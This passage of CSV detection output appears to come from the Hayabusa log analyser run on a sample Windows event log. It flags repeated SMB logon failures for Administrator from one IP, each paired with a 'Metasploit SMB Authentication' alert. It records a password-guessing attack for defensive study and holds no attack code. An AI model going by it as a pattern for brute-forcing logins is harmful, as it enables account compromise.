Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:30.243 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: e7bG19emMTmyBQNm : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:30.243 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:30.332 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: YsLkgWukfqS3wWJK : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:30.332 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:30.373 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: liFcZjjpY3xXwe9j : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:30.373 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:30.422 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: vBUgbfzx2OEcOxWL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:30.422 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:30.475 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: iVCV0WoZmLTFNH71 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:30.475 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:30.516 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ZJmxGOqck4oQi1kL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:30.516 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:30.561 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: w7lYqaUvEtTp18DK : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:30.561 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:30.604 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: yZ9xQmGn61JJDeQS : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:30.604 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:30.649 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: XuMXpvY9fmLm0eBq : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:30.649 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:30.701 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ofesuNErTLWuN0k4 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:30.701 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:30.745 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: KsNq7SThd3b8oTwF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:30.745 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:30.797 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MmRWg5gNRcxDMFjg : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:30.797 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:30.841 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: JXrGn6LehVwTGNNj : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:30.841 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:30.880 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: vIq9DS71jCjWbgdY : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:30.880 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:30.937 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: kw2BQbdUml0EPNOs : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:30.937 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:30.981 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ugOqsKQFGmmLac3s : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:30.981 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:31.021 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 3rZHUbOUVBYiHarB : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:31.021 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:31.049 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: otv8ByrbWWoTz7pi : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:31.049 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:31.083 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: HVlHkJu4Gxc9dhxM : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:31.083 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:31.129 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: xKF5OCqLVVKvung0 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:31.129 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:31.162 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: avAdpkOlP0xji1vG : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:31.162 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:31.214 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: VFgzMjEz6M0LBnX7 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:31.214 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:31.260 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: kdJb0obVAqkY9GCw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:31.260 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:31.301 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 6ciSoQcLUgLfzaNg : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:31.301 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:31.340 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: RECrGCCTJuDPlvYJ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:31.340 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:31.384 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 1Z2w67uyC2NOgecT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:31.384 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:31.425 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: lRVetRdHvz0lJkOC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:31.425 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:31.470 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: yXrtxquzyzxKnQgD : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:31.470 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:31.526 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: pWOoEIEem7Q9Mdx0 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:31.526 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:31.565 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 86n5nIm04810NptD : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:31.565 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:31.608 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: M08noHtTqqx3pxSe : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:31.608 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:31.651 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 3P983pRVfCVlVTyA : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:31.651 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:31.699 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: eMKlcLvRhlx9FMcZ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:31.699 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:31.733 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 0gwEDgRF2wUgTDAy : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:31.733 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:31.780 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: I9Q2GSALfiuEbulo : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:31.780 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:31.824 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: DKTja76Qe9vSjrdN : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:31.824 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:31.868 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: DXXuUyKlvaOgMNSu : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:31.868 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:31.904 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: X3qdEQReXwHAZUS8 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:31.904 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:31.965 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: FqtfHJKOfmWXEd4s : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:31.965 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:32.021 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: mVv7vete3uXixggi : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:32.021 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:32.060 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 0PF6E3wRP0Tk39ss : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:32.060 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:32.106 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: touwF4IXUahG7jvJ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:32.106 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:32.161 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: lMOi7rygc7SJ5TPQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:32.161 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:32.208 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QjM1K5eFSA9U37oE : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:32.208 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:32.258 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: HgzyZqFU9v2kDVvG : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:32.258 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:32.301 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: hJeVj2h0sBxwBuGv : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:32.301 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:32.355 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: FNXI8b6Zcj1zU3JY : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:32.355 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB 